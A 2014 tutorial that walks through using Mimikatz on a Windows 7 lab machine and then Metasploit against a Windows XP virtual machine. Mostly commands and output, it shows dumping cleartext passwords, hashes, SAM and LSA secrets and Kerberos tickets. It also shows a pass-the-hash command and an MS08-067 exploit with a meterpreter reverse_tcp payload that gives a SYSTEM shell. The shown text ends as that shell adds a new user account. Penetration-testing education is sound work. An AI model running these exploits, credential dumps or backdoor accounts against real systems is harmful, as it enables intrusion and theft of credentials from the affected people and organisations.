Mimikatz and Metasploit

by Alexandre Borges

This article has as goal to show a practical use of Mimikatz in a standalone approach and using the Metasploit framework.

Date: SEPTEMBER/2014
Revision: 1.0

Introduction

Being able to grab Windows passwords from memory is a fascinating process for any security analyst and mainly when these passwords are shown as clear text. Indeed, many tools are able to dump the password hashes (in a non-understandable form) from memory, but only a few them are able to get passwords in a clear text.

I've already written an article about the WCE (Windows Credential Editor) explaining how to get passwords from Windows (http://alexandreborges.org/2014/02/14/using-wce-windows-credential-editor), but it is relevant to know that the WCE tool was inspired by another amazing program: Mimikatz.

The goal of this article is to show a simple and straight use of Mimikatz in a standalone form and afterwards repeat the same procedure using the Metasploit framework. During a penetration test, it could be possible to need to get other credentials further Administrator password, so the following procedure assumes we have either Administrator privilege or equivalent on the system.

The environment

For executing our tests, we are using the following programs:

a) Windows 7 64-bits Ultimate Edition with all patches applied.
b) Mimikatz: the program can be obtained from https://github.com/gentilkiwi/mimikatz/releases. We need to pay attention because some antivirus or browsers believe that it is a malware. ☺
c) VMware Workstation 10 (https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_workstation/10_0) or Oracle VirtualBox (http://download.virtualbox.org/virtualbox/4.3.14/VirtualBox-4.3.14-95030-Win.exe). Personally, I will be using VMware Workstation.

d) A virtual machines running Kali Linux (http://cdimage.kali.org/kali-1.0.8/kali-linux-1.0.8-amd64.iso).

e) If you prefer installing the Metasploit in the Windows 7, download either the Metasploit framework for Windows (32 bits) from http://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe or Metasploit framework for Windows 64 bits from http://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe. It is highly recommend disabling antivirus and firewalls to install and use Metasploit.

f) A virtual machine running Windows XP SP2. It will be the target from our Metasploit framework.

Using Mimikatz in a standalone manner

To use the Mimikatz, go to its installation folder and choose the appropriated version for the platform. In this specific example, as we are using Windows 7 64-bits, so I will be using 64-bits version.

```
C:\Downloads\mimikatz_trunk>cd x64

C:\Downloads\mimikatz_trunk\x64>dir
 Volume in drive C has no label.
 Volume Serial Number is F290-609B

 Directory of C:\Downloads\mimikatz_trunk\x64

23/07/2014  02:14    <DIR>          .
23/07/2014  02:14    <DIR>          ..
27/06/2014  18:09            34.688 mimidrv.sys
20/07/2014  18:41           219.136 mimikatz.exe
20/07/2014  18:41            23.552 mimilib.dll
               3 File(s)        277.376 bytes
               2 Dir(s)  102.892.056.576 bytes free
```

Once we are there, execute the mimikatz.exe as shown below:

```
C:\Downloads\mimikatz_trunk\x64> mimikatz.exe

mimikatz #

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

(truncated output)

Authentication Id : 0 ; 1162497 (00000000:0011bd01)
Session           : Interactive from 1
User Name         : Administrator
Domain            : EXADATA
SID               : S-1-5-21-3350660802-243114697-3461100895-500
        msv :
         [00010000] CredentialKeys
         * NTLM     : ea62008fa034b9b12340084c2be9f192
```

```
          * SHA1     : ee199ebc98c902418cd6b819ce677eb8c0026c5a
         [00000003] Primary
          * Username : Administrator
          * Domain   : EXADATA
          * NTLM     : ea62008fa034b9b12340084c2be9f192
          * SHA1     : ee199ebc98c902418cd6b819ce677eb8c0026c5a
         tspkg :
          * Username : Administrator
          * Domain   : EXADATA
          * Password : hacker123!
         wdigest :
          * Username : Administrator
          * Domain   : EXADATA
          * Password : hacker123!
         kerberos :
          * Username : Administrator
          * Domain   : EXADATA
          * Password : (null)
         ssp :
         credman :

(truncated output)
```

As we have highlighted above, the Administrator password and its respective NTLM hash were got easy from memory. Even if we had not the clear password, it would be still possible to execute any command such as cmd.exe using the NTLM hash as shown below:

```
mimikatz # sekurlsa::pth /user:Administrator /domain:EXADATA
/ntlm:ea62008fa0d4b9b25540084c2be9f192 /run:cmd

user    : Administrator
domain  : EXADATA
program : cmd
NTLM    : ea62008fa034b9b12340084c2be9f192
  |  PID  1136
  |  TID  6464
  |  LUID 0 ; 18815719 (00000000:011f1ae7)
  \_ msv1_0   - data copy @ 00000000003A5EF0 : OK !
  \_ kerberos -
```

Nonetheless, not only the Administrator's password is exposed on our system. Indeed, other vaults can be investigated to try to collect additional passwords and credentials. Thus, to list existing vaults on system, execute:

```
mimikatz # vault::list

Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28}
        Name       : Administrator's Vault
        Path       :
C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-
B380-DD4A704DDB28
        Items (0)

Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29}
        Name       : Windows Vault
        Path       : C:\Users\Administrator\AppData\Local\Microsoft\Vault
        Items (0)
```

Now, it is time to get additional passwords by running the following command:

```
mimikatz # vault::cred

(truncated output)
```

```
TargetName : WindowsLive:name=alexandre.xxxxx@hotmail.com / <NULL>
UserName   : alexandre.xxxxx@hotmail.com
Comment    : Microsoft_WindowsLive:authstate:1870
Type       : 1 - generic
Credential : ZWP688874

(truncated output)
```

It was very simple! We have gotten my Windows Live user. Changing the approach, we can elevate our privilege on system to continue our exploration, so execute:

```
mimikatz # token::elevate

Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

448     21440           NT AUTHORITY\SYSTEM     S-1-5-18        (04g,30p)
Primary
 -> Impersonated !
 * Process Token : 10211176     EXADATA\Administrator   S-1-5-21-
3350660802-243114697-3461100895-500    (16g,23p)       Primary
 * Thread Token  : 17350275     NT AUTHORITY\SYSTEM     S-1-5-18
(04g,30p)       Impersonation (Delegation)
```

To view the SAM database from Windows and exposing all saved NTLM hashes, run:

```
mimikatz # lsadump::sam

Domain : EXADATA
SysKey : d7e3d1000b11ea4a310c97f8dbc7a11b

SAMKey : 1cb0d9c0a2651e412345e800bbc445c

RID  : 000001f4 (500)
User : Administrator
LM   :
NTLM : ea62008fa0d12345540084c2be9f192

RID  : 000001f5 (501)
User : Guest
LM   :
NTLM :

RID  : 000003e8 (1000)
User : ALEXANDRE BORGES
LM   :
NTLM : ea62008fa0d12345540084c2be9f192

RID  : 000003ed (1005)
User : HomeGroupUser$
LM   :
NTLM : 732360b9c93d47cd7c6bd6241d12396c
```

To show the Administrator password, execute:

```
mimikatz # lsadump::secrets

Domain : EXADATA
SysKey : d7e3d1c13341ea4a000c97f8dbc7a11b

Policy subsystem is : 1.11
LSA Key(s) : 1, default {86648e9a-dcad-6300-0675-edd6e1f91b3d}
  [00] {86648e9a-dcad-6300-0675-edd6e1f91b3d}
3d198bd4e0501dcf8427e1ae75e5221f5e52dasdf0e4d15a2fcb9a62c497b2ba
```

```
Secret  : DefaultPassword
old/text: hacker123!

Secret  : DPAPI_SYSTEM
cur/hex : 01 00 00 00 f8 8a 8e 17 94 9c db d8 00 b0 1c d5 23 4f d5 83 44
31 67 05 fa 72 3a 3f 46 85 6f 30 f5 d4 32 70 ed 53 ae 85 c0 d3 d2 57
old/hex : 01 00 00 00 c9 22 d6 0b 83 9e dd 98 a7 ad 7a 5a c5 ff aa bb 8a
d2 6f 01 61 be bf d4 bc 70 54 70 fd df 46 12 a8 c5 e5 2d 98 6c 79 71

Secret  : L$ASP.NETAutoGenKeysV44.0.30319.17626
cur/hex : 94 ef 7b e4 df ad f3 8d 2b 89 22 62 b9 a6 d2 64 23 43 11 67 19
07 1b 65 24 da eb 11 83 a1 55 81 1f 90 7c f7 6d a7 ff ff 5f 06 6a 61 14 33
 87 3f ed 85 37 d3 50 0a 5e 13 c5 07 54 c4 f8 cb c6 2b e6 21 40 03 44 c6
91 d7 74

mimikatz # exit
```

Our procedure about how to get passwords and credentials using Mimikatz was closed on a standalone system that does not belong to a domain. However, the same procedure can be done in a system that belongs to a domain as show below:

```
C:\>cd mimikatz_trunk

C:\mimikatz_trunk>cd x64

C:\mimikatz_trunk\x64> mimikatz.exe

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Jul 20 2014
23:41:06)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz
  '#####'    (oe.eo) BlackHat & Defcon (oe.eo) with 14 modules * * */


mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WINMASTER$
Domain            : EXAMPLE
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : WINMASTER$
         * Domain   : EXAMPLE
         * NTLM     : 1907b774fb22e0a6f7267645a5653353
         * SHA1     : b3029b1b349a772b81838e8629ef8b5c63498e35
        tspkg :
        wdigest :
         * Username : WINMASTER$
         * Domain   : EXAMPLE
         * Password : nrZ"8(/O.v;5* /j,dGT#O<^Q7c(2wk!r1dzG
neR?7sT@+N5XS`dvu4kQ
gkRAoI&1cnp8cRWFQ8o\m##t,L[paj%6.bu*Sa?mWZ@hIcvd7v.zz&pZqU[cRs
        kerberos :
         * Username : winmaster$
         * Domain   : EXAMPLE.COM
         * Password : nrZ"8(/O.v;5* /j,dGT#O<^Q7c(2wk!r1dzG
neR?7sT@+N5XS`dvu4kQ
gkRAoI&1cnp8cRWFQ8o\m##t,L[paj%6.bu*Sa?mWZ@hIcvd7v.zz&pZqU[cRs
```

```
        ssp :
        credman :

(trucated output)

Authentication Id : 0 ; 279603 (00000000:00044433)
Session           : Interactive from 1
User Name         : student
Domain            : EXAMPLE
SID               : S-1-5-21-2239703895-3927579170-387310622-1194
        msv :
         [00000003] Primary
         * Username : student
         * Domain   : EXAMPLE
         * LM       : c7f615e6c67bb4c4df128b2dd32bad07
         * NTLM     : 893695a08cddc0d0a8e83860652cd157
         * SHA1     : 9470f56bcf07ae13f0ac61121bfe9448029eba3e
        tspkg :
         * Username : student
         * Domain   : EXAMPLE
         * Password : training
        wdigest :
         * Username : student
         * Domain   : EXAMPLE
         * Password : training
        kerberos :
         * Username : student
         * Domain   : EXAMPLE.COM
         * Password : training
        ssp :
        credman :

(truncated output)
```

To list Kerberos information, execute:

```
mimikatz # kerberos::list

[00000000] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 8/13/2014 3:25:05 AM ; 8/13/2014 1:24:35 PM ;
8/20/2014 3:24:35 AM
   Server Name       : krbtgt/EXAMPLE.COM @ EXAMPLE.COM
   Client Name       : student @ EXAMPLE.COM
   Flags 60a00000    : pre_authent ; renewable ; forwarded ; forwardable ;

(truncated output)

[00000002] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 8/13/2014 3:25:05 AM ; 8/13/2014 1:24:35 PM ;
8/20/2014 3:24:35 AM
   Server Name       : cifs/dcsql.example.com @ EXAMPLE.COM
   Client Name       : student @ EXAMPLE.COM
   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ;
forwardable ;

(truncated output)
```

Listing existing tickets from Kerberos and getting passwords are done by executing the following command:

```
mimikatz # sekurlsa::tickets

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WINMASTER$
Domain            : EXAMPLE
SID               : S-1-5-20
```

```
         * Username : winmaster$
         * Domain   : EXAMPLE.COM
         * Password : nrZ"8(/O.v;5* /j,dGT#O<^Q7c(2wk!r1dzG
neR?7sT@+N5XS`dvu4kQgkRAoI&1cnp8cRWFQ8o\m##t,L[paj%6.bu*Sa?mWZ@hIcvd7v.zz&
pZqU[cRs

        Group 0 - Ticket Granting Service
         [00000000]
           Start/End/MaxRenew: 8/13/2014 3:26:34 AM ; 8/13/2014 1:22:01 PM
; 8/20/2014 3:22:01 AM

   (truncated output)

Authentication Id : 0 ; 279603 (00000000:00044433)
Session           : Interactive from 1
User Name         : student
Domain            : EXAMPLE
SID               : S-1-5-21-2239703895-3927579170-387310622-1194

         * Username : student
         * Domain   : EXAMPLE.COM
         * Password : training

        Group 0 - Ticket Granting Service
         [00000000]
           Start/End/MaxRenew: 8/13/2014 3:25:05 AM ; 8/13/2014 1:24:35 PM
; 8/20/2014 3:24:35 AM

(truncated output)
```

To list all Kerberos details including the used symmetric algorithm (AES 256 – confidentially), the used hash algorithm (HMAC – integrity), the login name (student) and the domain (EXAMPLE.COM) from memory using Mimikatz, execute the command as shown below:

```
mimikatz # kerberos::list

[00000000] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 8/13/2014 3:25:05 AM ; 8/13/2014 1:24:35 PM ;
8/20/2014 3:24:35 AM
   Server Name       : krbtgt/EXAMPLE.COM @ EXAMPLE.COM
   Client Name       : student @ EXAMPLE.COM
   Flags 60a00000    : pre_authent ; renewable ; forwarded ; forwardable ;

[00000001] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 8/13/2014 3:24:35 AM ; 8/13/2014 1:24:35 PM ;
8/20/2014 3:24:35 AM
   Server Name       : krbtgt/EXAMPLE.COM @ EXAMPLE.COM
   Client Name       : student @ EXAMPLE.COM
   Flags 40e00000    : pre_authent ; initial ; renewable ; forwardable ;

[00000002] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 8/13/2014 3:25:05 AM ; 8/13/2014 1:24:35 PM ;
8/20/2014 3:24:35 AM
   Server Name       : cifs/dcsql.example.com @ EXAMPLE.COM
   Client Name       : student @ EXAMPLE.COM
   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ;
forwardable ;

[00000003] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 8/13/2014 3:25:05 AM ; 8/13/2014 1:24:35 PM ;
8/20/2014 3:24:35 AM
   Server Name       : ldap/dcsql.example.com @ EXAMPLE.COM
   Client Name       : student @ EXAMPLE.COM
   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ;
forwardable ;

[00000004] - 0x00000012 - aes256_hmac
```

```
   Start/End/MaxRenew: 8/13/2014 3:25:04 AM ; 8/13/2014 1:24:35 PM ;
8/20/2014 3:24:35 AM
   Server Name       : LDAP/DCSQL.EXAMPLE.com/EXAMPLE.com @ EXAMPLE.COM
   Client Name       : student @ EXAMPLE.COM
   Flags 40a40000    : ok_as_delegate ; pre_authent ; renewable ;
forwardable ;
```

To get clear text password from Kerberos tickets, execute:

```
mimikatz # sekurlsa::tickets

(truncated output)

Authentication Id : 0 ; 279603 (00000000:00044433)
Session           : Interactive from 1
User Name         : student
Domain            : EXAMPLE
SID               : S-1-5-21-2239703895-3927579170-387310622-1194

         * Username : student
         * Domain   : EXAMPLE.COM
         * Password : training


(truncated output)
```

It is possible to try to list the available vaults from Windows memory, but probably we will not have success because our privilege is not sufficient:

```
mimikatz # vault::list

Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28}
        Name       : Student's Vault
        Path       :
C:\Users\student.EXAMPLE\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-
B380-DD4A704DDB28
        Items (0)

Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29}
        Name       : Windows Vault
        Path       :
C:\Users\student.EXAMPLE\AppData\Local\Microsoft\Vault
        Items (0)
```

However, the scenario changes when using Mimikatz to elevate our privileges to SYSTEM as show below:

```
mimikatz # token::elevate

Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

216     13995          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,30p)
Primary
 -> Impersonated !
 * Process Token : 529580       EXAMPLE\student S-1-5-21-2239703895-
3927579170-387310622-1194   (17g,23p)       Primary
 * Thread Token  : 573221       NT AUTHORITY\SYSTEM     S-1-5-18
(04g,30p)       Impersonation (Delegation)
```

To get passwords in clear text, hashes and other valuable information from memory, it is relatively simple by executing (again) the following commands:

```
mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WINMASTER$
Domain            : EXAMPLE
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : WINMASTER$
         * Domain   : EXAMPLE
         * NTLM     : 1907b774fb22e0a6f7267645a5653353
         * SHA1     : b3029b1b349a772b81838e8629ef8b5c63498e35
        tspkg :
        wdigest :
         * Username : WINMASTER$
         * Domain   : EXAMPLE
         * Password : nrZ"8(/O.v;5* /j,dGT#O<^Q7c(2wk!r1dzG
neR?7sT@+N5XS`dvu4kQgkRAoI&1cnp8cRWFQ8o\m##t,L[paj%6.bu*Sa?mWZ@hIcvd7v.zz&
pZqU[cRs
        kerberos :
         * Username : winmaster$
         * Domain   : EXAMPLE.COM
         * Password : nrZ"8(/O.v;5* /j,dGT#O<^Q7c(2wk!r1dzG
neR?7sT@+N5XS`dvu4kQgkRAoI&1cnp8cRWFQ8o\m##t,L[paj%6.bu*Sa?mWZ@hIcvd7v.zz&
pZqU[cRs
        ssp :
        credman :

(truncated output)

Authentication Id : 0 ; 279603 (00000000:00044433)
Session           : Interactive from 1
User Name         : student
Domain            : EXAMPLE
SID               : S-1-5-21-2239703895-3927579170-387310622-1194
        msv :
         [00000003] Primary
         * Username : student
         * Domain   : EXAMPLE
         * LM       : c7f615e6c67bb4c4df128b2dd32bad07
         * NTLM     : 893695a08cddc0d0a8e83860652cd157
         * SHA1     : 9470f56bcf07ae13f0ac61121bfe9448029eba3e
        tspkg :
         * Username : student
         * Domain   : EXAMPLE
         * Password : training
        wdigest :
         * Username : student
         * Domain   : EXAMPLE
         * Password : training
        kerberos :
         * Username : student
         * Domain   : EXAMPLE.COM
         * Password : training
        ssp :
        credman :

(truncated output)


mimikatz #
```

If our interest was only to get hashes then we could execute:

```
mimikatz # lsadump::sam

Domain : WINMASTER
SysKey : a5535d771a24a6ff7e15320adde9fd33
```

```
SAMKey : 99ac33fd78808fcffd46a49ade006e15

RID  : 000001f4 (500)
User : Administrator
LM   :
NTLM : 893695a08cddc0d0a8e83860652cd157

RID  : 000001f5 (501)
User : Guest
LM   :
NTLM :

RID  : 000003e8 (1000)
User : student
LM   :
NTLM : 893695a08cddc0d0a8e83860652cd157
```

Using Mimikatz inside the Metasploit framework

The Metasploit framework also offers the possibility to explore a target system using Mimikatz as a post-exploration procedure. To demonstrate its use, our test environment has a system running Kali Linux and a host running Windows XP because we do not want to get detail information about the exploitation itself, but focusing on Mimikatz. Therefore, it will be used a well-known vulnerability on Windows XP and, to learn something about Metasploit, it will be shown some little details about Metasploit.

First, execute the nmap command as shown below to prove that the target is a Windows XP as shown below:

```
root@hacker:~# nmap -O 192.168.1.109

Starting Nmap 6.47 ( http://nmap.org ) at 2014-09-12 01:28 EDT
Nmap scan report for 192.168.1.109
Host is up (0.00035s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
5000/tcp open  upnp
MAC Address: 00:0C:29:06:7F:19 (VMware)
Device type: general purpose
Running: Microsoft Windows 2000|XP
OS CPE: cpe:/o:microsoft:windows_2000::-
cpe:/o:microsoft:windows_2000::sp1 cpe:/o:microsoft:windows_2000::sp2
cpe:/o:microsoft:windows_2000::sp3 cpe:/o:microsoft:windows_2000::sp4
cpe:/o:microsoft:windows_xp::- cpe:/o:microsoft:windows_xp::sp1
OS details: Microsoft Windows 2000 SP0 - SP4 or Windows XP SP0 - SP1
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at
http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.09 seconds
```

There are some tricks to run Metasploit in a right way and to use the postgresql database to save our job. Test and start the postgresql database by running the following commands:

```
root@hacker:~# service postgresql status
Running clusters:
```

```
root@hacker:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.

root@hacker:~# service postgresql status
Running clusters: 9.1/main
```

To guarantee a persistent starting of metasploit and postgresql service, run:

```
root@hacker:~# update-rc.d postgresql enable && update-rc.d metasploit
enable

update-rc.d: using dependency based boot sequencing
update-rc.d: using dependency based boot sequencing
```

Restart the Metasploit service by executing:

```
root@hacker:~# service metasploit start

Configuring Metasploit...
Creating metasploit database user 'msf3'...
Creating metasploit database 'msf3'...
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.
```

To find the password from postgresql database used by Metasploit, execute:

```
root@hacker:~# more /opt/metasploit/apps/pro/ui/config/database.yml
development:
  adapter: "postgresql"
  database: "msf3"
  username: "msf3"
  password: "f7z1dAVykv7DTHRsyAhnuWUCuUyqC5tL"
  port: 5432
  host: "localhost"
  pool: 256
  timeout: 5

production:
  adapter: "postgresql"
  database: "msf3"
  username: "msf3"
  password: "f7z1dAVykv7DTHRsyAhnuWUCuUyqC5tL"
  port: 5432
  host: "localhost"
  pool: 256
  timeout: 5
root@hacker:~#
```

Now it is time to start the Metasploit as shown below:

```
root@hacker:~# msfconsole
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


Save 45% of your time on large engagements with Metasploit Pro
Learn more on http://rapid7.com/metasploit

       =[ metasploit v4.10.0-2014082101 [core:4.10.0.pre.2014082101
api:1.0.0]]
```

```
+ -- --=[ 1331 exploits - 722 auxiliary - 214 post        ]
+ -- --=[ 340 payloads - 35 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
```

Connect to postgresql database (refer to database information collected previously) by running commands as shown below:

```
msf > db_status
[*] postgresql selected, no connection

msf > db_connect

[*]    Usage: db_connect <user:pass>@<host:port>/<database>
[*]       OR: db_connect -y [path/to/database.yml]
[*] Examples:
[*]        db_connect user@metasploit3
[*]        db_connect user:pass@192.168.0.2/metasploit3
[*]        db_connect user:pass@192.168.0.2:1500/metasploit3

msf > db_connect msf3:f7z1dAVykv7DTHRsyAhnuWUCuUyqC5tL@localhost/msf3
[*] Rebuilding the module cache in the background...

msf > db_status
[*] postgresql connected to msf3

msf >
```

Scan the target host (again) to save the gathered information into database:

```
msf > db_nmap -sV 192.168.1.109

[*] Nmap: Starting Nmap 6.47 ( http://nmap.org ) at 2014-09-12 03:59 EDT
[*] Nmap: Nmap scan report for 192.168.1.109
[*] Nmap: Host is up (0.00015s latency).
[*] Nmap: Not shown: 995 closed ports
[*] Nmap: PORT     STATE SERVICE      VERSION
[*] Nmap: 135/tcp  open  msrpc        Microsoft Windows RPC
[*] Nmap: 139/tcp  open  netbios-ssn
[*] Nmap: 445/tcp  open  microsoft-ds Microsoft Windows XP microsoft-ds
[*] Nmap: 1025/tcp open  msrpc        Microsoft Windows RPC
[*] Nmap: 5000/tcp open  http-proxy   sslstrip
[*] Nmap: MAC Address: 00:0C:29:06:7F:19 (VMware)
[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[*] Nmap: Service detection performed. Please report any incorrect results
at http://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 6.65 seconds
```

To check the scanned hosts and services from database, run:

```
msf > hosts

Hosts
=====

address        mac                name  os_name  os_flavor  os_sp  purpose
info  comments
-------        ---                ----  -------  ---------  -----  -------
----  --------
192.168.1.109  00:0C:29:06:7F:19        Unknown                    device


msf > hosts -c address

Hosts
=====

address
```

```
-------
192.168.1.109


msf > services

Services
========

host           port  proto  name          state  info
----           ----  -----  ----          -----  ----
192.168.1.109  135   tcp    msrpc         open   Microsoft Windows RPC
192.168.1.109  139   tcp    netbios-ssn   open
192.168.1.109  445   tcp    microsoft-ds  open   Microsoft Windows XP
microsoft-ds
192.168.1.109  1025  tcp    msrpc         open   Microsoft Windows RPC
192.168.1.109  5000  tcp    http-proxy    open   sslstrip
```

Select the correct exploit and show some information about it by executing:

```
msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > info

       Name: MS08-067 Microsoft Server Service Relative Path Stack
Corruption
     Module: exploit/windows/smb/ms08_067_netapi
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great

Provided by:
  hdm <hdm@metasploit.com>
  Brett Moore <brett.moore@insomniasec.com>
  frank2 <frank2@dc949.org>
  jduck <jduck@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Automatic Targeting
  1   Windows 2000 Universal
  2   Windows XP SP0/SP1 Universal
  3   Windows XP SP2 English (AlwaysOn NX)
(truncated output)

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOST                     yes       The target address
  RPORT    445              yes       Set the SMB service port
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER,
SRVSVC)

Payload information:
  Space: 400
  Avoid: 8 characters

Description:
  This module exploits a parsing flaw in the path canonicalization
  code of NetAPI32.dll through the Server Service. This module is
  capable of bypassing NX on some operating systems and service packs.
  The correct target must be used to prevent the Server Service (along
  with a dozen others in the same process) from crashing. Windows XP
  targets seem to handle multiple successful exploitation events, but
  2003 targets will often crash or hang on subsequent attempts. This
  is just the first version of this module, full support for NX bypass
  on 2003, along with other platforms, is still in development.
```

```
References:
  http://cvedetails.com/cve/2008-4250/
  http://www.osvdb.org/49243
  http://technet.microsoft.com/en-us/security/bulletin/MS08-067
  http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-
netpathcanonicalize-dos
```

Choose a good payload to send to target host when Metasploit exploits the vulnerability as shown below:

```
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
```

List and configure the options to attack the target, where RHOSTS is the remote (target) IP address and LHOST is the local (attacker) IP address, by executing:

```
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER,
SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh,
thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.109
RHOST => 192.168.1.109

msf exploit(ms08_067_netapi) > set LHOST 192.168.1.110
LHOST => 192.168.1.110
```

To assure that target host is vulnerable, run:

```
msf exploit(ms08_067_netapi) > check
[+] 192.168.1.109:445 - The target is vulnerable.
```

Finally, it’s time to attack the target by executing the following command:

```
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.1.110:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 0 / 1 - lang:Portuguese -
Brazilian
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Attempting to trigger the vulnerability...
[*] Sending stage (769536 bytes) to 192.168.1.109
[*] Meterpreter session 1 opened (192.168.1.110:4444 ->
192.168.1.109:1106) at 2014-09-12 01:35:34 -0400
```

That is done! Before using Mimikatz, execute some basic commands:

```
meterpreter > sysinfo

Computer        : XP
OS              : Windows XP (Build 2600).
Architecture    : x86
System Language : pt_BR
Meterpreter     : x86/win32

meterpreter > getuid
Server username: AUTORIDADE NT\SYSTEM

meterpreter > getpid
Current pid: 988

meterpreter > ps

Process List
============

 PID   PPID  Name              Arch  Session     User
Path
 ---   ----  ----              ----  -------     ----
----
 0     0     [System Process]        4294967295
 4     0     System            x86   0           AUTORIDADE NT\SYSTEM
 464   4     smss.exe          x86   0           AUTORIDADE NT\SYSTEM
\SystemRoot\System32\smss.exe
 532   1444  cmd.exe           x86   0           XP\CEH
C:\WINDOWS\system32\cmd.exe
 604   464   csrss.exe         x86   0           AUTORIDADE NT\SYSTEM
\??\C:\WINDOWS\system32\csrss.exe
 628   464   winlogon.exe      x86   0           AUTORIDADE NT\SYSTEM
\??\C:\WINDOWS\system32\winlogon.exe
 644   988   wuauclt.exe       x86   0           XP\CEH
C:\WINDOWS\System32\wuauclt.exe
 680   628   services.exe      x86   0           AUTORIDADE NT\SYSTEM
C:\WINDOWS\system32\services.exe
 692   628   lsass.exe         x86   0           AUTORIDADE NT\SYSTEM
C:\WINDOWS\system32\lsass.exe
 848   680   vmacthlp.exe      x86   0           AUTORIDADE NT\SYSTEM
C:\Arquivos de programas\VMware\VMware Tools\vmacthlp.exe
 888   680   svchost.exe       x86   0           AUTORIDADE NT\SYSTEM
C:\WINDOWS\system32\svchost.exe
 988   680   svchost.exe       x86   0           AUTORIDADE NT\SYSTEM
C:\WINDOWS\System32\svchost.exe
 1068  680   svchost.exe       x86   0           AUTORIDADE NT\NETWORK
SERVICE  C:\WINDOWS\System32\svchost.exe
 1080  680   svchost.exe       x86   0           AUTORIDADE NT\LOCAL
SERVICE    C:\WINDOWS\System32\svchost.exe
 1444  1424  explorer.exe      x86   0           XP\CEH
C:\WINDOWS\Explorer.EXE
 1508  680   spoolsv.exe       x86   0           AUTORIDADE NT\SYSTEM
C:\WINDOWS\system32\spoolsv.exe
 1580  1444  vmtoolsd.exe      x86   0           XP\CEH
C:\Arquivos de programas\VMware\VMware Tools\vmtoolsd.exe
 1588  1444  ctfmon.exe        x86   0           XP\CEH
C:\WINDOWS\System32\ctfmon.exe
 1596  1444  msmsgs.exe        x86   0           XP\CEH
C:\Arquivos de programas\Messenger\msmsgs.exe
 1840  680   vmtoolsd.exe      x86   0           AUTORIDADE NT\SYSTEM
C:\Arquivos de programas\VMware\VMware Tools\vmtoolsd.exe

meterpreter > shell
```

```
Process 1500 created.
Channel 1 created.
Microsoft Windows XP [vers�o 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>net user alexandre hacker123! /add

net user alexandre hacker123! /add
